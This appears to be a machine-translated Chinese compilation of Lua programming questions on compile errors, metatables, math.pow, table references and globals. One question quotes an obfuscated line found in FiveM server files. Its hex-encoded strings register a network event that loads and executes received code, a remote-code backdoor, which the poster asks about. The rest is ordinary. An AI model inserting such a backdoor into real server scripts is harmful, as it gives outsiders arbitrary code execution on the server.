视觉工作室 2013
Lua 5.3.0
如何解决这个错误?
static const luaL_reg scriptLib[] =
{
{"Print", LuaConsolePrint},
{"WaitSec", LuaWaitSec},
{NULL, NULL}
};
Run Code Online (Sandbox Code Playgroud)
Error 3 error C2146: syntax error : missing ';' before identifier 'scriptLib'
Error 5 error C2440: 'initializing' : cannot convert from 'initializer-list' to 'int'
Error 2 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
Error 4 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
Run Code Online (Sandbox Code Playgroud) 有没有办法在元表本身内部调用元表方法?例如
local t = {}
local mt = {
__index = {
dog = function() print("bark") end,
sound = function() t:dog() end
}
}
setmetatable(t,mt)
t:Sound()
Run Code Online (Sandbox Code Playgroud)
引发此错误:
尝试调用方法“声音”(零值)
我找到了一篇关于此的文章,现在我发现了这个非常有用的内置函数的语法错误。我的代码很简单,但错误不是:
print(math.pow(10, 2))
Run Code Online (Sandbox Code Playgroud)
错误:文件:2:尝试调用零值(字段“pow”)
如果 math.pow 在 Lua 5.3 中不再存在,也许我必须真正创建一个新函数。不过,我还是想做一头懒驴:)
我想访问我创建的表的第n个元素,如下所示:
t = { 0.0 , 0.0 }
Run Code Online (Sandbox Code Playgroud)
我怎么能在Lua做到这一点?
我知道我可以使用ipairs,但我想要一个单线解决方案.
在我的代码中,我将一个变量设置为表的内容,如下所示:
colorTable = {{255, 255, 255}}
color = colorTable[1]
Run Code Online (Sandbox Code Playgroud)
我的问题是当我编辑color它的值时改变原始值colorTable
所以在开始时,colorTable[1][1]等于255,但在我运行之后:
color[1] = color[1] - 10
Run Code Online (Sandbox Code Playgroud)
colorTable[1][1]等于245.任何帮助表示赞赏.
我想在这两个字符串之间得到一个字
local str = "Hello Stackoverflow guys"
Run Code Online (Sandbox Code Playgroud)
假设两个字符串(Stackoverflow)之间的单词是未知的,我想得到这个.
这有功能吗?
有谁能够帮我 ?
function sum(_g, _h)
local num = (_g * _h) / 2
return num
end
print("The result is")(sum(10, 6))
Run Code Online (Sandbox Code Playgroud)
为什么这不起作用?
因此,在查看朋友发给我的一些服务器文件(FiveM/GTA RP 服务器文件)时,我发现一行代码遍布服务器的资源中,是恶意的吗?因为我检查了“十六进制到 ASCII 文本字符串转换器” ”,看起来可能是试图向 Lua 环境中注入一些代码。该代码创建一个包含多个以十六进制格式编码的字符串的表。然后,这些字符串用于访问全局环境 (_G) 中的元素并将它们作为函数调用。该代码还为“load”事件设置了一个事件侦听器,这可能表明该代码打算在环境中发生特定事件时运行。
代码:
本地 ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74" ,"\x68\x65\x6c\x70\x43 \x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65 \x72\x74","\x6c\x6f\x61\x64",_G} ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszj vprBCPXrRqVqLgSwDqVqOiBG[1] ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVq LgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],函数(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZ WIDtHyn) ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6 ]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]() 结束)本地
在我们输入的Lua解释器中:
>print(1=="1")
false
Run Code Online (Sandbox Code Playgroud)
好的!
>print(false==true)
false
Run Code Online (Sandbox Code Playgroud)
好的!
>print(string==math)
false
Run Code Online (Sandbox Code Playgroud)
好的但为什么呢?
>print(function==nil)
stdin:1: '(' expected near '=='
Run Code Online (Sandbox Code Playgroud)
我不明白==和〜=的工作原理.请解释
这是一个例子:print("PARAM".. param_index .."=".. param.value)
那些奇怪的时期到底是什么?
Lua并没有真正的全局变量,它使用table来实现全局变量。所有全局变量都存储在_G表中。
这在lua官方网站上的《Programming in Lua》一书中的22.3节中提到:Lua甚至根本没有全局变量。Lua不遗余力地给程序员一种全局变量的错觉,而为了维持全局变量的错觉,Lua内部维护了一个表作为全局环境。
我不知道Lua为什么这样做,我试图找到答案,但我只发现了一些模糊的说法,例如:全局变量是在整个程序中可见的变量,但Lua被设计为一种可嵌入的语言由宿主程序调用,为了解决这个困境,Lua使用表模拟来实现全局变量。
这在《Programming in Lua》第22章(环境)中有表述。
我想知道:“这种困境”是什么意思?“真正的全局变量”和“作为一种可嵌入语言”有哪些棘手的问题?以至于Lua并没有设计真正的全局变量。
我在这里使用这个函数创建点。
local GR = (math.sqrt(5) + 1) / 2
local GA = (2 - GR) * (2 * math.pi)
local function fibonacciSpiralSphere(num_points)
local vectors = {}
for i = 1, num_points do
local lat = math.asin(-1 + 2 * i / (num_points + 1))
local lon = GA * i
local x = math.cos(lon) * math.cos(lat)
local y = math.sin(lon) * math.cos(lat)
local z = math.sin(lat)
table.insert(vectors, Vector3.new(x, y, z))
end
return vectors
end
Run Code Online (Sandbox Code Playgroud)
我只是不知道如何用它们制作球体网格。